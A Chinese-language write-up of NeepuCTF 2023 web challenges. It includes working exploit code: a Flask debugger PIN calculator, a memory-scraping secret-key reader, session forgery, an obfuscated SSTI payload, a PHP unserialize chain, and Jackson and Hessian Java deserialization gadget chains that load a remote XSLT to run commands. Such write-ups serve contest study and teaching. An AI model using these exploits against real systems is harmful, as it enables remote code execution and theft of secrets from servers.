抽空参加了一下东北电力大学的公开赛,题出的挺好的,遂专门写一篇文章,主要是学习一下java题
Cute Cirno 访问/r3aDF1le?filename=
可以任意文件读取,发现filename传空时会报错
给出了源码路径,其实也可以读取/proc/self/cmdline
获取路径
CuteCirno.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from flask import Flask, request, session, render_template, render_template_stringimport os, base64from NeepuFile import neepu_filesCuteCirno = Flask(__name__, static_url_path='/static' , static_folder='static' ) CuteCirno.config['SECRET_KEY' ] = str (base64.b64encode(os.urandom(30 )).decode()) + "*NeepuCTF*" @CuteCirno.route('/' ) def welcome (): session['admin' ] = 0 return render_template('welcome.html' ) @CuteCirno.route('/Cirno' ) def show (): return render_template('CleverCirno.html' ) @CuteCirno.route('/r3aDF1le' ) def file_read (): filename = "static/text/" + request.args.get('filename' , 'comment.txt' ) start = request.args.get('start' , "0" ) end = request.args.get('end' , "0" ) return neepu_files(filename, start, end) @CuteCirno.route('/genius' ) def calculate (): if session.get('admin' ) == 1 : print (session.get('admin' )) answer = request.args.get('answer' ) if answer is not None : blacklist = ['_' , "'" , '"' , '.' , 'system' , 'os' , 'eval' , 'exec' , 'popen' , 'subprocess' , 'posix' , 'builtins' , 'namespace' ,'open' , 'read' , '\\' , 'self' , 'mro' , 'base' , 'global' , 'init' , '/' ,'00' , 'chr' , 'value' , 'get' , "url" , 'pop' , 'import' , 'include' ,'request' , '{{' , '}}' , '"' , 'config' ,'=' ] for i in blacklist: if i in answer: answer = "⑨" +"""</br><img src="static/woshibaka.jpg" width="300" height="300" alt="Cirno">""" break if answer == '' : return "你能告诉聪明的⑨, 1+1的answer吗" return render_template_string("1+1={}" .format (answer)) else : return render_template('mathclass.html' ) else : session['admin' ] = 0 return "你真的是我的马斯塔吗?" if __name__ == '__main__' : CuteCirno.run('0.0.0.0' , 5000 , debug=True )
可以任意文件读取、flask存在debug、python3.8,直接想到了算pin码 读取/sys/class/net/eth0/address
转为10进制为2485378154512 machine_id为/etc/machine-id
+/proc/self/cgroup
最后python3.8生成pin码的脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import hashlibfrom itertools import chainprobably_public_bits = [ 'app' 'flask.app' , 'Flask' , '/usr/local/lib/python3.8/site-packages/flask/app.py' ] private_bits = [ '2485378154499' , '7265fe765262551a676151a24c02b7b66b3ae4a10d09c99200a38b17919de5b5fd6980b35b551205233dcc08987ac315' ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] num = None if num is None : h.update(b'pinsalt' ) num = ('%09d' % int (h.hexdigest(), 16 ))[:9 ] rv =None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = '-' .join(num[x:x + group_size].rjust(group_size, '0' ) for x in range (0 , len (num), group_size)) break else : rv = num print (rv)
最后进入控制台直接rce
可参考:关于ctf中flask算pin总结 flask的pin码攻击——新版本下pin码的生成方式
Cute Cirno (Revenge) 其实算pin码为非预期,预期解是伪造session然后进行模板注入,但是 SECRET_KEY 为随机数,那么就需要从内存中读取key了
读取脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requests, reurl = "http://neepusec.fun:28359" maps_url = f"{url} /r3ADF11e?filename=../../../../../../../proc/self/maps" maps_reg = "([a-z0-9]{12}-[a-z0-9]{12}) rw.*?00000000 00:00 0" maps = re.findall(maps_reg, requests.get(maps_url).text) for m in maps: start, end = m.split("-" )[0 ], m.split("-" )[1 ] start, end = str (int (start, 16 )), str (int (end, 16 )) read_url = f"{url} /r3ADF11e?filename=../../../../../proc/self/mem&start={start} &end={end} " s = requests.get(read_url).content rt = re.findall(b"[a-z0-9A-Z-+-/]{40}\*NeepuCTF\*" , s) if rt: print (rt)
得到key后,可以使用flask-unsign伪造sessionflask-unsign --sign --cookie "{'admin':1}" --secret "ALB2HGeH1DeYYcRo6Thy5KpzYT8yM2EGbGcCKd4Q*NeepuCTF*"
最后访问/genius
路由打SSTI
这里强烈推荐一个工具:https://github.com/Marven11/Fenjing/ ,它会帮我们找到绕过黑名单的payload 发现已经有师傅问过了:https://github.com/Marven11/Fenjing/issues/4
生成payload的脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from fenjing import exec_cmd_payload, config_payloadimport logginglogging.basicConfig(level = logging.INFO) def waf (s: str ): blacklist = ['_' , "'" , '"' , '.' , 'system' , 'os' , 'eval' , 'exec' , 'popen' , 'subprocess' , 'posix' , 'builtins' , 'namespace' ,'open' , 'read' , '\\' , 'self' , 'mro' , 'base' , 'global' , 'init' , '/' ,'00' , 'chr' , 'value' , 'get' , "url" , 'pop' , 'import' , 'include' ,'request' , '{{' , '}}' , '"' , 'config' ,'=' ] return all (word not in s for word in blacklist) if __name__ == "__main__" : shell_payload, _ = exec_cmd_payload(waf, "/readflag" ) print (f"{shell_payload} " )
脚本生成得到
1 {%print(((((((lipsum[(lipsum|escape|batch(22)|list|first|last)*2+(((((lipsum,)|map(((lipsum|string|list|batch(3)|first|last)~(lipsum|string|list|batch(15)|first|last)~(lipsum|string|list|batch(20)|first|last)~(x|pprint|list|batch(4)|first|last)~(x|pprint|list|batch(2)|first|last)~(lipsum|string|list|batch(5)|first|last)~(lipsum|string|list|batch(8)|first|last)~(x|pprint|list|batch(3)|first|last)~(x|pprint|list|batch(4)|first|last)))|list|first|first)+(lipsum|escape|batch(8)|first|last))*7)%(103,108,111,98,97,108,115))+(lipsum|escape|batch(22)|list|first|last)*2])[(((((lipsum,)|map(((lipsum|string|list|batch(3)|first|last)~(lipsum|string|list|batch(15)|first|last)~(lipsum|string|list|batch(20)|first|last)~(x|pprint|list|batch(4)|first|last)~(x|pprint|list|batch(2)|first|last)~(lipsum|string|list|batch(5)|first|last)~(lipsum|string|list|batch(8)|first|last)~(x|pprint|list|batch(3)|first|last)~(x|pprint|list|batch(4)|first|last)))|list|first|first)+(lipsum|escape|batch(8)|first|last))*12)%(95,95,98,117,105,108,116,105,110,115,95,95))])[(((((lipsum,)|map(((lipsum|string|list|batch(3)|first|last)~(lipsum|string|list|batch(15)|first|last)~(lipsum|string|list|batch(20)|first|last)~(x|pprint|list|batch(4)|first|last)~(x|pprint|list|batch(2)|first|last)~(lipsum|string|list|batch(5)|first|last)~(lipsum|string|list|batch(8)|first|last)~(x|pprint|list|batch(3)|first|last)~(x|pprint|list|batch(4)|first|last)))|list|first|first)+(lipsum|escape|batch(8)|first|last))*4)%(101,118,97,108))])((((((lipsum,)|map(((lipsum|string|list|batch(3)|first|last)~(lipsum|string|list|batch(15)|first|last)~(lipsum|string|list|batch(20)|first|last)~(x|pprint|list|batch(4)|first|last)~(x|pprint|list|batch(2)|first|last)~(lipsum|string|list|batch(5)|first|last)~(lipsum|string|list|batch(8)|first|last)~(x|pprint|list|batch(3)|first|last)~(x|pprint|list|batch(4)|first|last)))|list|first|first)+(lipsum|escape|batch(8)|first|last))*35)%(95,95,105,109,112,111,114,116,95,95,40,39,111,115,39,41,46,112,111,112,101,110,40,39,47,114,101,97,0x64,102,108,97,103,39,41))))[(((((lipsum,)|map(((lipsum|string|list|batch(3)|first|last)~(lipsum|string|list|batch(15)|first|last)~(lipsum|string|list|batch(20)|first|last)~(x|pprint|list|batch(4)|first|last)~(x|pprint|list|batch(2)|first|last)~(lipsum|string|list|batch(5)|first|last)~(lipsum|string|list|batch(8)|first|last)~(x|pprint|list|batch(3)|first|last)~(x|pprint|list|batch(4)|first|last)))|list|first|first)+(lipsum|escape|batch(8)|first|last))*4)%(114,101,97,0x64))])()))%}
url编码传入即可得到flag
参考:【官方WP】第六届“蓝帽杯”初赛CTF题目解析 攻防世界 x Nepnep x CATCTF 2022 Nepnep战队官方WP
ezphp 访问发现php版本为PHP/7.4.21,然而近期出过一个源码泄露的漏洞:PHP<=7.4.21 Development Server源码泄露漏洞
尝试一下,Burp关闭Update Content-Length的功能,成功得到源码
index.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <?php class one { public function __call ($name ,$ary ) { if ($this ->key === true ||$this ->finish1->name) { if ($this ->finish->finish){ call_user_func ($this ->now[$name ],$ary [0 ]); } } } public function neepuctf ( ) { $this ->now=0 ; return $this ->finish->finish; } public function __wakeup ( ) { $this ->key=True; } } class two { private $finish ; public $name ; public function __get ($value ) { return $this ->$value =$this ->name[$value ]; } } class three { public function __destruct ( ) { if ($this ->neepu->neepuctf ()||!$this ->neepu1->neepuctf ()){ $this ->fin->NEEPUCTF ($this ->rce,$this ->rce1); } } } class four { public function __destruct ( ) { if ($this ->neepu->neepuctf ()){ $this ->fin->NEEPUCTF1 ($this ->rce,$this ->rce1); } } public function __wakeup ( ) { $this ->key=false ; } } class five { public $finish ; private $name ; public function __get ($name ) { return $this ->$name =$this ->finish[$name ]; } } $a =$_POST ["neepu" ];if (isset ($a )){ unserialize ($a ); }
就是一个简单的php反序列化,主要是通过four.__destruct()->one.__call()
,然后要满足$this->neepu->neepuctf()
为true
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 $a = new four ();$a ->rce = "cat /flag" ;$a ->neepu = new one ();$a ->neepu->finish = new two ();$a ->neepu->finish->name=array ("finish" =>1 );$a ->fin = new one ();$a ->fin->now = array ("NEEPUCTF1" =>"system" );$a ->fin->finish = new two ();$a ->fin->finish->name=array ("finish" =>1 );$b = serialize ($a );echo (urlencode ($b ));
POST传入
成功得到flag
No Map 直接反编译看一下依赖,存在jackson依赖
发现是原生的Springboot的反序列化,但是ban掉了HashMap和BadAttributeValueExpException两个toString的链
我们直接tabby找一下readObject到toString的链,我这里通过排查,最后的查询语句如下:
1 2 3 4 match (source:Method) where source.NAME in ["readObject"] match (sink:Method {NAME:"toString"})<-[r:CALL]-(m1:Method) where r.REAL_CALL_TYPE in ["java.lang.Object"] call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 6) yield path where none(n in nodes(path) where (n.CLASSNAME =~ "javax.management.*" or n.CLASSNAME =~ "com.alibaba.fastjson.*" or n.CLASSNAME =~"java.uti.*" or n.CLASSNAME =~"com.sun.jndi.*" or n.CLASSNAME =~"sun.rmi.*" or n.CLASSNAME=~"java.net.URL.*" or n.CLASSNAME=~"java.io.*" or n.CLASSNAME=~"java.math.BigDecimal" or n.CLASSNAME=~"com.sun.javafx.*" or n.CLASSNAME=~"java.awt.*" or n.CLASSNAME=~"javax.swing.tree.DefaultTreeCellEditor" or n.CLASSNAME=~"com.sun.deploy.cache.*" or n.CLASSNAME=~"javax.security.auth.kerberos.KerberosPrincipal" or n.CLASSNAME=~"javax.crypto.SealedObject" or n.CLASSNAME=~"javax.sql.rowset.serial.SerialArray" or n.CLASSNAME=~"org.yaml.snakeyaml.events.Event" or n.CLASSNAME=~"sun.jvm.hotspot.utilities.ObjectReader" or n.CLASSNAME=~"javax.swing.ArrayTable" or n.NAME=~"clone" or n.CLASSNAME=~"javax.swing.text.DefaultStyledDocument" or n.CLASSNAME=~"javax.swing.tree.DefaultTreeSelectionModel" or n.CLASSNAME=~"java.beans.beancontext.BeanContextSupport" or n.CLASSNAME=~"sun.security.pkcs.PKCS8Key" or n.CLASSNAME=~"sun.font.FontDesignMetrics")) return * limit 10
就可以得到Boogipop师傅找到的AbstractAction类了
简单看一下javax.swing.AbstractAction
这个类,它是一个抽象类,ctrl+alt+b 可找到它的子类
readObject会触发putValue方法,跟进
发现会调用firePropertyChange方法,继续跟进
调用了oldValue的equals方法,并且参数为newValue,都是Object类,那么就可以用它触发Xstring的equals方法了
这里有一个问题就是 oldValue 为 arrayTable.get(key)
,但是我们序列化的时候会执行 writeObject 方法,他会执行ArrayTable.writeArrayTable(s, arrayTable);
导致我们写不进两个key相同value不同的ArrayTable
可以通过Agent来重写这个writeObject方法,让它实现 ArrayTable 的 writeArrayTable 效果的同时将我们想写的东西写入 网上已经有师傅总结了这种方法:对writeObject流程动点手脚
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import java.lang.instrument.ClassFileTransformer;import java.security.ProtectionDomain;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;public class AbstractAction_DefineTransformer implements ClassFileTransformer { public static final String ClassName = "javax.swing.AbstractAction" ; public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) { className = className.replace("/" , "." ); if (className.equals("javax.swing.AbstractAction" )) { System.out.println("Find the Inject Class: javax.swing.AbstractAction" ); ClassPool pool = ClassPool.getDefault(); try { CtClass c = pool.getCtClass(className); CtMethod ctMethod = c.getDeclaredMethod("writeObject" ); ctMethod.setBody("{" + "$1.defaultWriteObject();" + "java.lang.Object keys[] = arrayTable.getKeys(null);" + "int validCount = keys.length;" + "$1.writeInt(validCount);" + " for (int i=0; i<validCount; i++) {\n" + " if (keys != null) {\n" + " $1.writeObject(\"test\");\n" + " $1.writeObject(arrayTable.get(keys[i]));\n" + " }\n" + " }\n" + "}" ); byte [] bytes = c.toBytecode(); c.detach(); return bytes; } catch (Exception e) { e.printStackTrace(); } } return new byte [0 ]; } }
最后就是jackson反序列化触发任意getter了 注意运行前要添加VM选项-javaagent:AbstractActionAgent.jar
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xpath.internal.objects.XString;import javassist.*;import sun.reflect.ReflectionFactory;import javax.swing.event.SwingPropertyChangeSupport;import javax.swing.text.DefaultEditorKit;import java.io.*;import java.lang.reflect.*;public class jackson_AbstractAction { static { try { ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace" ); writeReplace.setBody("return $0;" ); ctClass.writeFile(); ctClass.toClass(); } catch (Exception e){ e.printStackTrace(); } } public static void main ( String[] args ) throws Exception { byte [] bytes = ClassPool.getDefault().get(Evil.class.getName()).toBytecode(); TemplatesImpl templatesImpl = new TemplatesImpl (); setFieldValue(templatesImpl, "_bytecodes" , new byte [][]{bytes}); setFieldValue(templatesImpl, "_name" , "a" ); setFieldValue(templatesImpl, "_tfactory" , null ); POJONode jsonNodes = new POJONode (templatesImpl); XString xString = new XString ("a" ); DefaultEditorKit.BeepAction action = new DefaultEditorKit .BeepAction(); SwingPropertyChangeSupport swingPropertyChangeSupport = new SwingPropertyChangeSupport ("" ); Object arraytable = createWithoutConstructor("javax.swing.ArrayTable" ); setFieldValue(arraytable,"table" ,new Object []{"1" ,xString,"2" ,jsonNodes}); setFieldValue(action,"arrayTable" ,arraytable); setFieldValue(action,"changeSupport" ,swingPropertyChangeSupport); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(action); oos.close(); ByteArrayInputStream bais = new ByteArrayInputStream (baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream (bais); ois.readObject(); ois.close(); } public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception { try { Field field = clazz.getDeclaredField(fieldName); if ( field != null ) field.setAccessible(true ); else if ( clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); return field; } catch ( NoSuchFieldException e ) { if ( !clazz.getSuperclass().equals(Object.class) ) { return getField(clazz.getSuperclass(), fieldName); } throw e; } } public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); objCons.setAccessible(true ); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true ); return (T) sc.newInstance(consArgs); } public static Object createWithoutConstructor (String classname) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException { return createWithoutConstructor(Class.forName(classname)); } public static <T> T createWithoutConstructor ( Class<T> classToInstantiate ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class [0 ], new Object [0 ]); } }
调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser) serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std) serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser) defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind) serialize:115, POJONode (com.fasterxml.jackson.databind.node) serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std) serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std) _serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser) serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser) serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind) _writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind) writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind) nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node) toString:59, BaseJsonNode (com.fasterxml.jackson.databind.node) equals:392, XString (com.sun.org.apache.xpath.internal.objects) firePropertyChange:273, AbstractAction (javax.swing) putValue:211, AbstractAction (javax.swing) readObject:364, AbstractAction (javax.swing)
当然这题ban掉了TemplatesImpl,最后就是 java.security.SignedObject 触发二次反序列化即可
参考:NeepuCTF2023 公开赛 Writeup https://github.com/R1ckyZ/My-CTF-Challenges/tree/main/NEEPUCTF%202023/No%20Map/solve
是不是有Bean 反编译看到pom.xml,发现就一个hessian依赖
这个hessian版本是存在CVE-2021-43297,然后就是D3CTF的fastjson链换成了jackson链
来看一下之前0CTF给出的wp:https://github.com/waderwu/My-CTF-Challenges/tree/master/0ctf-2022/hessian-onlyJdk/writeup
用tabby找一下返回类型为void的类
1 2 match (m1:Method) where m1.CLASSNAME=~"com.sun.org.*" and m1.RETURN_TYPE="void" and m1.IS_STATIC=true and m1.IS_PUBLIC=true return m1 limit 20
就可以找到wp给出的:com.sun.org.apache.xalan.internal.xslt.Process._main
方法 网上已经有了Xalan的利用方法:Xalan-J XSLT 整数截断漏洞利用构造(CVE-2022-34169)
最后的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.caucho.hessian.io.SerializerFactory;import sun.reflect.ReflectionFactory;import sun.security.pkcs.PKCS9Attribute;import sun.security.pkcs.PKCS9Attributes;import sun.swing.SwingLazyValue;import javax.swing.*;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;public class Hessian_PKCS9Attributes_SwingLazyValue_Process { public static void main (String[] args) throws Exception { PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class); UIDefaults uiDefaults = new UIDefaults (); String payload = "http://127.0.0.1:8000/calc.xml" ; uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue ("com.sun.org.apache.xalan.internal.xslt.Process" , "_main" , new Object []{new String []{"-XSLTC" , "-XSL" , payload}})); setFieldValue(s,"attributes" ,uiDefaults); ByteArrayOutputStream baos = new ByteArrayOutputStream (); Hessian2Output out = new Hessian2Output (baos); out.setSerializerFactory(new SerializerFactory ()); out.getSerializerFactory().setAllowNonSerializable(true ); baos.write(79 ); out.writeObject(s); out.flush(); ByteArrayInputStream bais = new ByteArrayInputStream (baos.toByteArray()); Hessian2Input input = new Hessian2Input (bais); input.readObject(); } public static <T> T createWithoutConstructor (Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class [0 ], new Object [0 ]); } public static <T> T createWithConstructor (Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); objCons.setAccessible(true ); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true ); return (T) sc.newInstance(consArgs); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 _main:169, Process (com.sun.org.apache.xalan.internal.xslt) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) createValue:73, SwingLazyValue (sun.swing) getFromHashtable:216, UIDefaults (javax.swing) get:161, UIDefaults (javax.swing) getAttribute:265, PKCS9Attributes (sun.security.pkcs) toString:334, PKCS9Attributes (sun.security.pkcs) valueOf:2994, String (java.lang) append:131, StringBuilder (java.lang) expect:3394, Hessian2Input (com.caucho.hessian.io) readInt:1012, Hessian2Input (com.caucho.hessian.io) readLenString:2742, Hessian2Input (com.caucho.hessian.io) readObjectDefinition:2705, Hessian2Input (com.caucho.hessian.io) readObject:2649, Hessian2Input (com.caucho.hessian.io)
参考:https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSLT%20Injection/README.md
给出 calc.xml: 使用 XSLT 的 XML 转换可以加载任何 Java 类
1 2 3 4 5 6 7 8 <xsl:stylesheet version ="1.0" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" xmlns:rt ="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob ="http://xml.apache.org/xalan/java/java.lang.Object" > <xsl:template match ="/" > <xsl:variable name ="rtobject" select ="rt:getRuntime()" /> <xsl:variable name ="process" select ="rt:exec($rtobject,'calc')" /> <xsl:variable name ="processString" select ="ob:toString($process)" /> <xsl:value-of select ="$processString" /> </xsl:template > </xsl:stylesheet >
成功rce,后续利用的话可以通过 ScriptEngineManager 调用 Nashorn JavaScript 引擎实现任意 Classloader 加载
更多方法可参考:A Different Payload for CVE-2022-47966 XSLT Injection Basics An unexpected journey: From XSLT injection to a shell